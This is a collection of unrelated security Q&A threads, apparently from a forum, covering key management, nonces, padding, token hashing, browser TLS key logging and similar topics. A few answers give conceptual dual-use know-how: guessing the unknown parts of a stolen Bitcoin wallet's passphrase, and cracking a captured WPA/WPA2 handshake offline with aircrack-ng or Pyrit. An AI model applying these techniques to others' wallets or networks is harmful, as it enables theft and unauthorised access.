BitLocker with Windows DPAPI Encryption Key Management Disclaimer: I realize that I posted this question on ServerFault, but I have not received any response there.  I am hoping that this forum might be a more appropriate place to post this for a response.  If I am incorrect, please let me know and I'll delete this post.
We have a need to enforce resting encryption on an iSCSI LUN that is accessible from within a Hyper-V virtual machine.
We have implementing a working solution using BitLocker, using Windows Server 2012 on a Hyper-V Virtual Server which has iSCSI access to a LUN on our SAN.  We were able to successfully do this by using the "floppy disk key storage" hack as defined in THIS POST.  However, this method seems "hokey" to me.
In my continued research, I found out that the Amazon Corporate IT team published a WHITEPAPER that outlined exactly what I was looking for in a more elegant solution, without the "floppy disk hack".  On page 7 of this white paper, they state that they implemented Windows DPAPI Encryption Key Management to securely manage their BitLocker keys.  This is exactly what I am looking to do, but they stated that they had to write a script to do this, yet they don't provide the script or even any pointers on how to create one.
Does anyone have details on how to create a "script in conjunction with a service and a key-store file protected by the server’s machine account DPAPI key" (as they state in the whitepaper) to manage and auto-unlock BitLocker volumes?  Any advice is appreciated.

DPAPI functions basically two ways, either the info you're protecting is encrypted at a machine level, or a user level.

If you're running as a service, you need to use machine level. If your running under a user, you can use the user level. The difference is that for the user level, the user's password basically provides the encryption for the data you pass to the API. At the machine level it has something to do with the hardware or Windows installation (I'm not sure).

If someone had physical access to the computer, they would not be able to decrypt your BitLocker password without knowing your Windows password (or being logged in as you already). With Machine-Level encryption, it's a bit weaker. Anyone with physical access can get the key. But it does protect against scenarios where the attacker is in a remote location.

Here is your link for using DPAPI with .NET:

http://msdn.microsoft.com/en-us/library/system.security.cryptography.protecteddata.protect.aspx

And here is a link for the BitLocker Win32 API:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa376483.aspx

You'll need to do some work on how to use the BitLocker API, because you have to call unmanaged Win32 functions from the managed .NET Framework.


Is encryption/decryption done in the cloud when using CMK keys? I am trying to understand how AWS KMS works, and there is one thing I am still not completely sure of: when using CMKs, so no Data Keys, no envelop encryption, does the encryption take place in the cloud?
Maybe because it's so obvious that it happens in the cloud, but I haven't been able to find a clear answer anywhere in the documentation or in related sites. They keep saying that KMS manages the keys for you, but not that it always perform encryption/decryption when using CMKs, as I would expect. For instance here:

  AWS Key Management Service (AWS KMS) is a managed service that makes
  it easy for you to create and control the encryption keys used to
  encrypt your data. The customer master keys that you create in AWS KMS
  are protected by hardware security modules (HSMs).

In Wikipedia:

  A key management system (KMS), also known as a cryptographic key
  management system (CKMS), is an integrated approach for generating,
  distributing and managing cryptographic keys for devices and
  applications. They may cover all aspects of security - from the secure
  generation of keys over the secure exchange of keys up to secure key
  handling and storage on the client. Thus, a KMS includes the backend
  functionality for key generation, distribution, and replacement as
  well as the client functionality for injecting keys, storing and
  managing keys on devices.

Only in this other site is mentioned that

  They [CMKs] never leave AWS KMS FIPS validated hardware security
  modules.

Can someone confirm that encryption/decryption happens in the cloud, not locally?
If so, is that (one of the main reasons) why symmetric keys are used in KMS?

Yes, that is a basic function of AWS KMS to encrypt/decrypt an object under a CMK.
When you encrypt data directly with KMS, it must be transferred over the network as all the cryptographic operations are performed in the backing HSM keystore.

AWS KMS provides low latency cryptographic operations on HSMs by design.
Thus there is a limit of 4 KB on the amount of plaintext that can be encrypted in a direct call to the encrypt function. The KMS Encryption SDK can be used to encrypt larger messages.

KMS uses symmetric encryption as asymmetric encryption is computationally more expensive.


Preventing tracking in browsers by setting HOME directory Following worked on Ubuntu 12.04 using chromium and firefox browsers.

I ran following command on terminal for both firefox and chromium browser

HOME=/tmp/tmpdir firefox

Both browsers promptly created new directories in the given location where tracking cookies and cache files were installed. Even flash cookies were created in new directory.

I can create the script to create a new directory every time.

I am wondering if this technique can sufficient to defeat all or most of the tracking activities. Will browsers and plugins be able to sense the actual home directory and store data in actual directory? Are there any other problems for changing the HOME directory for browser session.

Can this technique also work on mac machines also? I understand because of registry settings this will not work on Windows as registry can not easily changed.

If its this simple then all I have do is create a shell script which can be double clicked to create a new browser session. Am I missing something else?

On Unix systems, the user home directory is associated with the user account and any application can "sense" it by using getpwent(). It so happens that there is a long-standing tradition, in Unix applications who want to learn the user's home directory (e.g. to read or create configuration files), to first look at the HOME environment variable and use its contents as home directory, if that variable is defined, falling back to getpwent() only if there is no such environment variable.

From your experiments, it seems that Firefox and Chromium honour that tradition.

However, plugins within the browsers may behave differently. If you want to avoid transporting state from one browsing session to the next, you may want to use the private browsing features of Firefox (it is called Incognito mode in the Chrome world). These features may be more thorough than simply moving the home directory around.

Be advised that "private browsing" or anything similar prevents tracking only in a loose sense -- cookie-based tracking is still feasible during a session, and cookie-less tracking is highly feasible too (see this demonstration).


Why is it dangerous for a company to allow employees to connect their own devices to the internet? I've heard complaints about allowing employees, clients, etc. to bring their own device and connect it to the network. What exactly is the complaint and how can it be a threat? If no network resources are involved, how is this a security problem? For example I don't see what it matters if someone brings there laptop from home and connects to the company wi-fi, just using the same internet connection doesn't open up a bunch of doors that I'm aware of? In fact some businesses use this as a selling point, such as Starbucks and Mcdonals advertise free wi-fi for anyone who brings there own (virus infected) device.

For this question I'm not considering "liability" of what someone does with particular IP address, for example someone can use a free internet connection to hack into a company and then the owner of the internet connection gets sued.

... allow employees to connect their own devices to the internet?
  ... bring their own device and connect it to the network.

There is a difference between these two phrases and this difference is the important one. It is not really a problem to let users connect to the internet per se with their own devices.

The main problem is if users connect their devices to the companies internal network, because then they might infect the network with malware or cause the leak of sensitive data through there private devices.

Another problem is that any traffic will be associated with the company, which includes clients send spam, spreading malware or downloading or distributing illegal files etc. Thus the company might be held liable for any damages.


Is it possible to make a more secure random number generator algorithm by XORing two or more less secure random number algorithms? Is it possible to make a more secure random number generator (e.g. for cryptologic purposes) by combining two or more less secure random number generator algorithms using XOR?  Here is an example of what I am talking about:

// Create random numbers using weak algorithms
weak_random1 = WeakRandomAlgorithm1(seed1);
weak_random2 = WeakRandomAlgorithm2(seed2);
...

// Combine the random numbers into something stronger with XOR
stronger_random = weak_random1 XOR weak_random2 ...;

I would not recommend combining random number generators in this way without having some underlying theory to support your case.

A simple way to illustrate the issues is to consider the behavior of low-end LCG algorithms, the popular "one-liner" schemes for generating random numbers.

These can be made to produce sequences that will pass certain statistical tests, but are not suitable for cryptographic applications.  One known flaw in such generators is that the low-order bits are not random.  For example, I have observed the low bit to oscillate between 0/1, and if you have two generators like this, and you XOR that low bit, and the generators are either in phase or out of phase, in either case the result of the XOR is rather predictable.  It's not clear that you've improved the situation, but may have made it worse.

In Knuth's discussion of random number generation, he presents a humorous example of his attempts to construct a "super deluxe" generator.


Does knowing part of a passphrase for sure really mean that you can "disregard" that entire part when trying to crack it? Alice bought 1 Bitcoin and encrypted her wallet.dat in Bitcoin Core.
Samantha, Alice's friend, notices the Bitcoin price skyrocketing and, while Alice is in the bathroom, steals Alice's wallet.dat as well as important.txt and goes home.
There she discovers that it's passphrase-protected, so she cannot transfer the coin away to her own wallet.
Alice opens important.txt and discovers this:
Never delete the following!!!
Bitcoin passphrase: "ck3C83jcdldkj3isDkj2m3Db3ducMJm3wb3kdkxckDksk2kw54956848dkDkdkewj54t" + first_pet_nickname + house_number_for_second_temporary_house + guy_in_first_grade_i_had_a_crush_on + favorite_brand_of_cakes (all lowercase letters)

In other words, Alice has written down part of the passphrase with the rest being things that Samantha possibly could guess or brute-force.
My question is: assuming that she can't just guess the unknown parts, and has to brute-force it, does the sheer length of the known part pose any kind of extra hurdle?
That is, has the passphrase just turned into simply first_pet_nickname + house_number_for_second_temporary_house + guy_in_first_grade_i_had_a_crush_on + favorite_brand_of_cakes? Since the first string is known, does that mean it "doesn't exist" as far as brute-force time/resources needed? Or will this add significantly to the slowness of the brute-forcing because it has to do different (more complex) calculations with the long string as compared to without it?

What you're describing is a (partial) known plaintext attack. This worked when attacking a shared key cryptosystem like Enigma (see the "Wetter" message start situation they found) where knowing the state at one point help determine the state later. This doesn't work for cryptographic hash functions like where you turn a password into data for a key. The reason why is that in a cryptographic hash (e.g. PBKDF2) it is designed such that all the output depends on all the input, and changing one bit anywhere changes multiple output bits.
TL;DR: You're out of luck cryptanalytically. But linguistically you might have a path to a quicker solution. In your example if you knew the specific structure, you could make a list for candidate words/phrases and try every permutation. It would still be faster than raw brute force but possibly still longer than practical. Or hypothetically, lacking knowledge of a password structure but knowing it's natural language, you could build a probabilistic language model and have it just start generating text to try. Theoretically it's faster than brute force. Realistically you may still die of old age before it finishes.


Why don't terminal IDs prevent unauthorized entery? I'm studying for CISSP and had gotten this question wrong. I also found it and the correct answer online, but still don't understand the reasoning.
Source

Which of the following controls is not appropriate to prevent unauthorized people from entering a computer center?

a. Double-locked doors
b. Television monitors
c. Terminal IDs
d. Picture ID badges

c. Logical access controls verify the terminal identification (ID) number and not a part of physical security. Logical access controls
provide a technical means of controlling what information users can
utilize, the programs they can run, and the modifications they can
make. The other three choices deal with physical security, which is
the right kind of control to prevent unauthorized people from entering
a computer center.

First of all, what is the definition of "controls"?
Second, I thought b) would be the correct answer because TV monitors don't actually prevent anything by themselves.
By terminal IDs do they mean the username/password a person can login to a computer with? This certainly seems ambiguous because it could also refer to a serial number used for keeping track of physical assets, or some sort badge that shows the person is allowed in.

Yes, I believe the terminal ID refers to a username/password, and yes it is rather ambiguous.

I think the idea it is trying to convey is that log in credentials prevent user operational access to a computer system, but do not actually prevent access to the computer itself.

Its easy to argue that TV monitors do not prevent unauthorized people from entering a computer center, and possible to argue that a "Terminal ID" could be used to verify a person before allowing phsical access. The word "Terminal" though almost universally means at least a screen with a fully fledged keyboard, as opposed to a keypad next to a locked door - and this is the only reason I would say that B is the most correct answer.

I say most correct because to me your answer is also a degree of correct. As is ID badges really. It's a poorly worded question with even poorer options to choose from.


Can unofficial telegram clients read user messages? There are many unofficial telegram clients out there but i want to know if they can access user messages in plain. In my opinion, message decryption must be done somewhere inside the client app so it's clear that they can read plain text messages. A similar question asked here but the answer given is not accepted.

If it can show it to you in plaintext or if you send it from that application then the application has access to it in plaintext. Unless the encryption is performed at a hardware level there is no physical way to implement it without that being true.


How to synchronize a nonce between two participants? I am currently working with a symmetric algorithm which requires a nonce for encryption, and logically for decryption as well.

However, I am a bit confused about how I would go and synchronize the nonce on both clients.

Let's say my nonce is starting at 0 and is hardcoded on both sides.

I would then encrypt my data, and increase the nonce to avoid leakage through reuse. The encrypted value will be sent to my client, which decrypts the data and increases the nonce as well. Now both parties have a nonce of 1, ready for the next encryption/decryption cycle.

This works well, as long as there are no unexpected things happening.

Let's say the server is now encrypting with a nonce of 5. It increases the nonce to 6 afterwards, but somehow the connection failed, and the value is never transmitted. The other participant does not receive an update and his nonce will stay at 5.

The next time we encrypt something, the encryptor now uses the nonce 6, increases it and sends the value. The decryptor side however is still at a nonce of 5 and the decryption will therefore fail.

How do I get out of this cycle? How can I securely synchronize the nonces, so I can avoid complete failure if the connection will fail at least once? Is it secure to just transmit the current nonce with every data package? Are there any other approaches?

The simplest solution is to just send the nonce along with each message.  There is no requirement that the nonce be secret, and in fact, in the protocol you're describing an attacker would likely be able to guess the nonces anyway.  If you just transmit the nonce then there's no need for synchronization—all the server needs to do is guarantee that it won't reuse a nonce.

Note that don't need to literally send the full nonce along—any value that you can send that can be used to reconstruct the full nonce will do.  For example, if you're using a counter for the nonce, it's ok to use a compact, variable length encoding of the counter.

There are other tricks you might want to consider to reduce the need for synchronization between the two participants.  For example, if the communication is full-duplex (i.e., both participants alternate roles as sender and recipient), you might want to either:

Use separate keys for each direction of the communication—Alice uses key #1 to encrypt her messages to Bob, and Bob uses key #2 to encrypt his messages to Alice.  That way if either mistakenly uses the same nonce as the other does, there's no problem because of the use of different keys.
Make the parties use distinct subsets of the nonce space.  For example, the server might use only even-numbered counter values when it encrypts messages, and the client odd-valued ones only.

These additional suggestions share a theme with your question: reliance on synchronization is risky.  Ideally you want make sure that the participants in the protocol can act safely even if they don't know their counterparts' state.  Or even worse, you want them to act securely even if their counterpart is in fact an adversary.


Replay attack example for validating nonce? I am trying to validate a JWT token received from Windows Azure. I am following the documentation here: https://azure.microsoft.com/en-us/documentation/articles/active-directory-v2-tokens/#validating-tokens

When you request a token Azure makes you supply a nonce, and the returned JWT token contains the nonce you sent, and you are supposed to make sure they match. A common problem in this situation is that the server is stateless and there may be multiple servers, so it is not easy to store the nonce for comparing to the value in the token when the token is received.

Here's what I am planning to do: When I redirect the browser to https://login.microsoftonline.com/ I will store the nonce in a cookie. When the token is received from Azure, and the browser sends the token to my server I will also get the nonce in the cookie and I can compare them to make sure they match.

This is an easy solution to the problem of where to store the nonce. But the question is, is this strategy consistent with how nonce is supposed to be used? Since the nonce is being transferred to/from the client, does that break the protection offered by nonce? Will this enable replay attacks and render the nonce worthless? To answer these questions I need to know what sort of attacks I am trying to prevent.

So the question is, what are some examples of replay attack scenarios the nonce is designed to prevent? Is the attacker somewhere on the Internet, in which case SSL can be used to prevent him from seeing any communication? Or is the attacker on the same computer as the user, i.e., after the user leaves the computer, the attacker uses the computer and the browser which the user neglected to close?

How exactly does a replay attack work?

As per OpenID Connect Core documentation:

  The nonce parameter value needs to include per-session state and be
  unguessable to attackers. One method to achieve this for Web Server
  Clients is to store a cryptographically random value as an HttpOnly
  session cookie and use a cryptographic hash of the value as the nonce
  parameter. In that case, the nonce in the returned ID Token is
  compared to the hash of the session cookie to detect ID Token replay
  by third parties. A related method applicable to JavaScript Clients is
  to store the cryptographically random value in HTML5 local storage and
  use a cryptographic hash of this value.

So yes it is acceptable to store it in a cookie, but it is recommended to use a secure hash such as SHA-2 when this value is sent to the authorisation server from the user's browser.

This protects against a stolen token, because the attacker that has stolen the token will not have this session cookie on your site, and is unable to guess or reconstruct it because the value is hashed when sent externally.

The attacker would be on the internet, because if the user is local all bets are off - they would be able to access the token sent to your application, and would be able to access this session cookie.

So what is it protecting against?

Remember that if you are relying on OpenID to authenticate your users, you are trusting a third party. In an ideal world, the security of the provider is absolute and nobody can intercept the token. However, if there's a weakness in the chain between the user and the OpenID Provider, for example there's an unreported token leakage vulnerability there allowing an attacker to observe the token, the nonce will ensure that they cannot login to your application by replaying the redirect to your site.

The value of a nonce over simply validating they have any session on your site is that it pairs their original access to your site when you redirected to the provider, with the return to your site.


Is there any security gain / risk by adding additional padding (beyond what is required) when using AES-256 to encrypt very short strings? I would like to encrypt some authentication tokens using AES 256 (not tied to this algorithm but it seems to be a reasonable choice). These messages are usually very short at 128-256 bits. I'm concerned foremost about the security, not very concerned about ciphertext length or performance in either encryption or decryption. These are shared secrets so I have to be able to obtain the plaintext.

I am curious if any additional padding beyond what is required for the message to match the blocksize is beneficial.

To clarify this is not a question about padding the message so that it can be run through the encryption algorithm, but rather would I gain anything by padding to the message to say 1024 bits vs. 256 when the message is very short. I am already using an IV as I am reusing a key.

If I do pad to an additional length should I just use a single character, or should I put in a random stream of data?

My concern is that by only padding to 256 bits I may potentially betray the size of the secret (although most of them are shorter then the blocksize).

Longer padding has no disadvantages security wise and the advantage is that it leaks less information about the length of the plaintext. The only downside to more padding is the larger ciphertext size, so as long as you consider the overhead acceptable padding to a larger block size is a good choice. For example in a chat application I'd pad to multiples of 256 bytes or even larger blocks.

In principle any padding works fine, as long as you can unambiguously remove it. I recommend deterministic padding instead of randomized padding, it simplifies testing and avoids concerns about covert channels. A proper IV already adds all the randomness you need, and AES is assumed to be secure against known plaintext attacks.

Typical paddings are 0x80 followed by as many 0x00 as you like, or as many 0x00 as you like, followed by the length of the padding or the length of the plaintext. Just a single byte doesn't work, since you can't know if a byte is still part of the padding or already part of the message.

As always, remember to use an authenticated mode of encryption with a proper per-message IV. AES-GCM is popular, but the conventional choice of AES-CBC combined with HMAC in encrypt-then-MAC order is fine as well, if you manage to implement it correctly.


Is a very long living WSS WebSocket Secure connection really secure? I am far from being a security expert, so please forgive any approximation in this question.

As I understand it from this (very good) answer, a suite of HTTPS connection can be summarized as such :

There's a negotiation between the browser and the server that uses expensive asymmetric cryptography that results in a shared master secret that will last for the time of a "session", time which is decided by the server.
Each subsequent connection is then encrypted with a fast symmetric cryptography algorithm whose key is inferred from the master secret. Therefore each connection is encrypted with a different key so any "sniffer" would not have enough data to find either the specific connection key or the master secret.

Now, I'm working on an application that will use web sockets that may stay connected for very long periods of time. By very long, I mean several days. The informations that will transit through this web socket connection will be highly confidential.

So, knowing that a WebSocket should never disconnect, is there something in the WSS specification to periodically renew the symmetric key ?
As I understand it, with a symmetric algorithm, the more data are encrypted with the same key, the weaker the encryption becomes.

HTTPS changes this key (infers a new one from the master secret) at each new connection, but what about a WebSocket connection where there's only one connection for a long period of time ?

Unless you're sending on the order of exabytes through that connection, AES should not degrade in security over that time frame.  The duration that the WebSocket is open doesn't degrade it's security, so only the data flow through it may eventually (after a lot of use) erode the security given by AES.  Keep in mind that the entire Internet generated about 1,000 exabytes per day, so unless you're routing a very significant percentage of all Internet traffic through that one WebSocket you should not need to renew your keys ever during the usage of the WebSocket.

If you still want to renew the keys the client or server may, at any time during the connection, re-issue a handshake request which re-derives master keys based on two new random values. RFC5246


iOS and MacOS secured (locked) notes iOS and MacOS have an application named Notes which allows to encrypt any note with user-chosen password. Apple states that "When a user secures a note, a 16-byte key is derived from the user’s passphrase using PBKDF2 and SHA256". They don't mention anything about the salt length or the number of iterations unfortunately, thus making it hard to assess the security. Has anybody more information? I actually thought the output of SHA 256 was 32 bytes, so Apple is making less secure here, isn't it?

Using a 16-byte key just means they're using AES-128 rather than AES-256, which is still plenty secure. It doesn't matter much anyway since the key is being derived from a password; a 32 byte key is only more secure than a 16 byte key if it contains more entropy (which would be the case if it was a random key), but your password is unlikely to contain more than 16 bytes (128 bits) of entropy (I'd be surprised if it was even half of that). The way this will be broken is by brute-forcing your password through PBKDF2, not by brute-forcing the key directly.

What I find much more concerning is this:

  Users who forget their passphrase can still view secure notes or secure
  additional notes if they enabled Touch ID or Face ID on their devices.

While that's certainly user friendly, it sounds to me like they must be storing the derived key, which is generally a bad idea. This risk is probably mitigated by using a secure element, but it's still a risk to be aware of if you use Touch ID or Face ID.


VLC Player / Faststone Image Viewer / Faststone Video Capture are totally safe right? I use Avast 'Bank Mode' to watch Cable TV online.  Sometimes I want to record video.  So, in 'Bank Mode' I clicked to add an application.  I tried adding the Faststone Capture program and a message told me "Untrusted application can compromise your secure session."  It also said that the program is unsigned.
The same thing happened for the VLC Player and Faststone Image Viewer.  These programs are totally safe right?  (Even though they are unsigned.)

Bugs resulting in security problems in video or image processing applications happen regularly and happened in the past at least with VLC too. Apart from that it is unknown from which source you got these applications so they might be infected with malware. And this can also happen if a trusted download source was compromised.
In summary: It is not totally safe and there is probably nothing like total safety at all.


What kind of hashing to use for storing REST API tokens in the database? We have a REST API that communicates with a mobile front-end. After submitting a one time password, the backend will issue a token (random UUID v4 string) for the mobile app to use as authentication on subsequent requests. The server will store a hashed version of this token in the database with the user.

We want to make sure that authenticating the token takes as little time as possible.

QUESTION
What kind of hashing/encryption is sufficient to store the tokens in the database? Is a fast hash such as SHA256 good enough, or should we use a slow hash such as bcrypt? If using SHA256, do we need to include a salt, since the original unhashed token is just a random 16 byte UUID?

TLDR; SHA256 is good enough

To answer this we need to look at why we salt, hash, and use multiple iterations of the hash, in the first place;

Why do we salt? To protect users that have weak password entropy from having their password cracked (e.g. rainbow tables or two users with the same password). This is not an issue because UUID4 will have 122 bits of entropy1.

If we wanted to create a rainbow table of all UUIDv4 values that have been SHA256 hashed and we could do 1 trillion hashes a second2. It would take 168.6 quadrillion years to make the rainbow table. So we don't need to worry about that.
Why do we hash? To prevent clear text copies of the password from being stored. This seems like a good idea. You don't want someone who can read your database3 to be able to impersonate users.
Why do we use multiple iterations? To slow down brute force attacks. As mentioned before UUID4 will have 122 bits of entropy. Cracking these hashes is infeasible even at high speed.

[1] 128 bits - 6 bits that are predetermined

[2] The current fastest hashing rates are chaining all the time so I won't bother trying to find the most current speed it will be out of date in a few months.

[3] This could be SQL Injection, or a leaked copy from a backup, or an insider, or whatever.


Why do Firefox and Chrome "leak" critical security information out of the browser and how can I stop it? In studying SSL / TLS handshakes and encryption, I found a method that describes how to export the SSL / TLS session keys from Firefox to an user or environmental variable outside the browser, and then decrypt the TLS packets using Wireshark (method described at:  https://isc.sans.edu/forums/diary/Psst+Your+Browser+Knows+All+Your+Secrets/16415 ).  This method is very easy to do – I was able to decrypt communications with HTTPS sites, including login credentials.

Per the link above and my own testing, this method only works for Firefox and Chrome; not Internet Explorer or other non-browser SSL traffic (see https://msdn.microsoft.com/en-us/library/windows/desktop/aa387409%28v=vs.85%29.aspx for MSDN recommendation, but they essentially do not save the session keys in the clear by default).  The method is also described on the Mozilla Development Network (MDN) site at:  https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format and also Information Security Exchange, for example at:  Decrypting TLS in Wireshark when using DHE_RSA ciphersuites ).

The method does require access to the system settings to configure the necessary environment variable, but that is all.  Both Firefox and Chrome look for the variable automatically, and if they find it, start logging keys to the location.  The browsers do not alert the user or ask for permission, nor does there seem to be a way in Firefox’s about:config to turn this logging off.
I realize that full access to the system to set up the variable could presume that the system is already compromised, but the level of protection seems much less than other security information.  For example, system access does not allow easy access to the SAM or TPM security modules (there are other ways to get access of course, but it is not a point and click).

This method would seem to allow a very stealthy export of the SSL / TLS session keys (they are only 128 or 256 bits each) by third parties who could capture the network traffic separately from the key export and then decrypt at their leisure.  This decryption could occur in spite of the use of any "perfect forward secrecy" asymmetric keys, and could reconstruct browsing sessions long after the fact.  Any other program with access to your Windows folder structure could also ex filtrate the keys, and you would never know.

Why do Firefox and Chrome allow such easy leaking of these session keys?  I read some speculation that this was a debugging feature, but why is it left on by default?  Note that other browsers do not leak the session keys.  Should I be concerned about this?

Why do Firefox and Chrome allow such easy leaking of these session keys?

To make it easier for developers to analyze their network captures. The first time I used this feature was when trying to understand what protocol is exactly used by the web-based noVNC. Using this functionality, I was able to decrypt the traffic in Wireshark.

  I read some speculation that this was a debugging feature, but why is it left on by default? Note that other browsers do not leak the session keys.

By default no keys are logged / leaked. The feature exists for those who need it (see above).

  Should I be concerned about this?

No. If someone is able to modify your system environment, you have larger issues. Not convinced? Did you know that Chrome has a --disable-web-security command line option? That disables protections such as the Same Origin Policy, allowing any website to modify your bank's website for example. What about the ability to install browser extensions which can listen to all of your HTTP requests and modify them without generating certificate errors?

Do not worry about this SSLKEYLOGFILE feature, it won't affect you and it is more likely that a browser extension will steal all your data or that someone will install a malicious certificate, perform a man-in-the-middle attack and inject advertisements.


Securing a JavaScript Single Page App with SAML I would like to secure a JavaScript Single Page App with SAML. My server is powered using Node.js and serves a RESTful API. What are my options?

Details: I have worked with OAuth2 in the past, but I am not familiar with SAML concepts. With OAuth2, the JavaScript SPA can go directly at the Identity Provider and get a token. I can send this token to my RESTful server. The server only needs to be able to decode the token and verify that it is coming from a trusted provider.

Does SAML work in a similar way? Is there a simple reference that shows the workflow?
Is there a solution that works with my architecture - JavaScript SPA and Node.js serving a RESTful API?

For the record: In a typical SAML WebSSO flow the IDP wants to take control of the browser to establish or resume a session with the browser. So this approach needs to be tested if it is compatible with your IDP(s). There is another, less popular flow called ECP (Enhanced Client or Proxy) that should be more suitable.

See also:
https://www.codeproject.com/Articles/1248145/How-to-use-SAML-in-an-Angular-JS-Single-Page-Appli


Security comparsion of 3DES and AES Which one is more secure and least possible to be broken through cryptanalysis AES or 3DES (no matter performance)?

I need to use encryption for my projects to store and secure sensitive information which includes bank accounts, sort codes, and third party data related bank. I am currently considering using 3DES in CFB mode, but I am not very sure if it is the best option and what are other alternatives.

I know the title does not give much idea what the question is about, but I couldn't think of something better.

Go for AES.

AES is the successor of DES as standard symmetric encryption algorithm for US federal organizations. AES uses keys of 128, 192 or 256 bits, although, 128 bit keys provide sufficient strength today. It uses 128 bit blocks, and is efficient in both software and hardware implementations. It was selected through an open competition involving hundreds of cryptographers during several years.

DES is the previous "data encryption standard" from the seventies. Its key size is too short for proper security. The 56 effective bits can be brute-forced, and that has been done more than ten years ago. DES uses 64 bit blocks, which poses some potential issues when encrypting several gigabytes of data with the same key.

3DES is a way to reuse DES implementations, by chaining three instances of DES with different keys. 3DES is believed to still be secure because it requires 2112 operations which is not achievable with foreseeable technology. 3DES is very slow especially in software implementations because DES was designed for performance in hardware.

Resources:
http://www.differencebetween.net/technology/difference-between-aes-and-3des
http://www.icommcorp.com/downloads/Comparison%20AES%20vs%203DES.pdf (offline, still in the Web Archive)


mod_spamhaus whitelist example to allow a range of ips How would an example whitelist look like, that would whitelist a
range of all IPs from 123.123.0.0 - 123.123.255.255 ?

I have the whitelistfile in

/etc/spamhaus.wl

I spent a good half an hour searching the web and found absolutely no documentation regarding your question, neither in English nor in Italian (mod_spamhause author Luca Ercoli is Italian). We're not entirely out of luck, though. The mod_spamhause code was published on-line and we can have a look at how filters are handled in this unit. The part of the code relevant to your question is (in C++):

if ( (strchr(lista[count],'/') == NULL )){
  if ( strcmp(lista[count],r->connection->remote_ip) == 0  ) return 1;
}
else {
  sscanf(lista[count], "%[^/]/%u", ippi, &bitmask);
  sscanf(ippi, "%lu.%lu.%lu.%lu", &a, &b, &c, &d);
  first = (a << 24) + (b << 16) + (c << 8) + d;
  mask = (0xFFFFFFFF << (32 - bitmask));
  last = first + (~mask);
  first = htonl(first);
  last = htonl(last);
  in.s_addr = first;
  sscanf(inet_ntoa(in), "%d.%d.%d.%d", &a_min, &b_min, &c_min, &d_min);
  in.s_addr = last;
  sscanf(inet_ntoa(in), "%d.%d.%d.%d", &a_max, &b_max, &c_max, &d_max);
  sscanf(r->connection->remote_ip, "%d.%d.%d.%d", &a_daverificare, &b_daverificare, &c_daverificare, &d_daverificare);
  if (
     ((d_daverificare <=  d_max) && (d_daverificare >=  d_min)) &&
     ((c_daverificare <=  c_max) && (c_daverificare >=  c_min)) &&
     ((b_daverificare <=  b_max) && (b_daverificare >=  b_min)) &&
     ((a_daverificare <=  a_max) && (a_daverificare >=  a_min))
  ) return 1;
}

It's quite straight-forward, but if you don't read C++ then let's just sum it up that it will accept both individual IPs as well as CIDR ranges, formatted same as Apache does.

To answer your question then, according to this code, you can add a CIDR range 123.123.0.0/16 (that covers IPs 123.123.0.0 - 123.123.255.255) as a single line in your /etc/spamhaus.wl like so:

123.123.0.0/16

The published code would handle CIDR notation, however we have no way of knowing this code is actually in use with your mod_spamhaus build. If it doesn't work for you then I'd suggest you search for other builds, or compile your own version using SourceArchive.com published code.

Cheers!


Internet browsing confidentiality I wonder how easy or difficult it is to find out who I am, using information security's most advanced techniques. And what can I do that will not affect my browsing experience too much, as a lambda internet user, against that?

Yes, there are many ways that your ISP, your DNS provider, the web sites you visit, third-party content providers, advertisers, government agencies, etc. can track your web browsing and identify you.  The methods that they use are based on your IP address, cookies, super-cookies, browser fingerprinting methods, and the like.

To make it more difficult to be tracked, you may want to consider using the TOR network, or TAILS.


When bruteforcing a WiFi network password, Can that admin see it? When bruteforcing a captured packet containing the encrypted password, can the owner/admin of the router see each auth attempt? I'm assuming you just encrypt each passphrase in the dictionary file and compare it to the hash of the password, but this can't be done (Aircrack-ng) without a WiFi connection and the AP in range. Why?

No they cannot, certainly not after you've captured the handshake.

N.b. I have assumed you are talking about WPA/WPA2 because your description ('a captured packet containing the encrypted password') seems to match the PSK brute-force attack vector for those schemes.

Once you have captured a WPA/WPA2 handshake (with a tool like airodump-ng), the brute-forcing itself is all offline. You can use aircrack-ng (or another tool like oclHashcat or Pyrit) without needing to have your wireless on or be in the vicinity of the access point. The fact is that an attacker can capture the required handshake and go away to crack it at their leisure.

WEP cracking, incidentally, is similar in that the actual cracking phase is offline, although there's rarely any need to bother going offsite once you've spent a few minutes capturing the necessary packets.


Is broadcasting your Windows computer name a vulnerability? Some software I'm using sends out bug reports occasionally. The bug reports contain a fair bit of information. I'm concerned about some of the user identifiable information in the bug report. In particular:

>> computer name      : JOHNSMITHCOMP
>> user name          : johnsmith
>> registered owner   : johnsmith/ Hewlett-Packard Company
>> contact name       : John Smith
>> contact email      : jsmith@hotmail.com
>> IP Address         : 98.139.180.149

Is it a bad idea to allow this information to be emailed to the software developer? The email will NOT be sent encrypted. What kind of things could a hacker do with this information?

The user identifiable information is a sensitive topic and if you feel their transport method isn't good enough (lack of encryption) you can raise this to the provider or stop reporting (firewall rules for example).

I dont see sending the computer name or IP address as sensitive information, but the other details that you mention would worry me a little.

My advice is to bring this up to the provider.


Easy way to hardware lock an exe file in windows Hi I want an easy way to hardware lock an exe file to a specific system so that when a user copies that file to another system it does not open.

There is no easy way. There are a dozen hardware lock companies out there, with USB hardware tokens, serial hardware tokens, things like that, and lots of articles, programs and forum posts on how to defeat the locks.
Take a look at the gaming industry, for example. They have billions of dollars, professional programmers, lots of resources, and still cannot create a copy protection system that works flawlessly. Most of the time they keep the legitimate users from playing, and let the pirates play. It's a losing battle.
Instead of locking the executable to one computer, do what vidarlo suggested:
create a Software as a Service (SaaS) implementation, let the user create an account and use it. Lock down the account to only one user at a time.
It's cheaper, more convenient to the user, and works better than the old-fashioned hardware locks.


Prove a received mail came from a company email when company is tampering on their side X works for EvilCorp and he sends a whistleblowing email to HR. HR responds with "we will look into it". But management takes advantage of having control over X's PC and all email addresses and formats the PC and deletes mails from the server. X has downloaded a copy of the raw email which he had emailed to another employee.

Can X prove the sender, time and contents by possessing the raw email which has ARC headers? Can he prove sender and time by possessing the header alone, like he had to take a photo of whats a long raw email?

X can probably prove those things the headers, but you'll need the whole message so the cryptographic proofs can be verified.

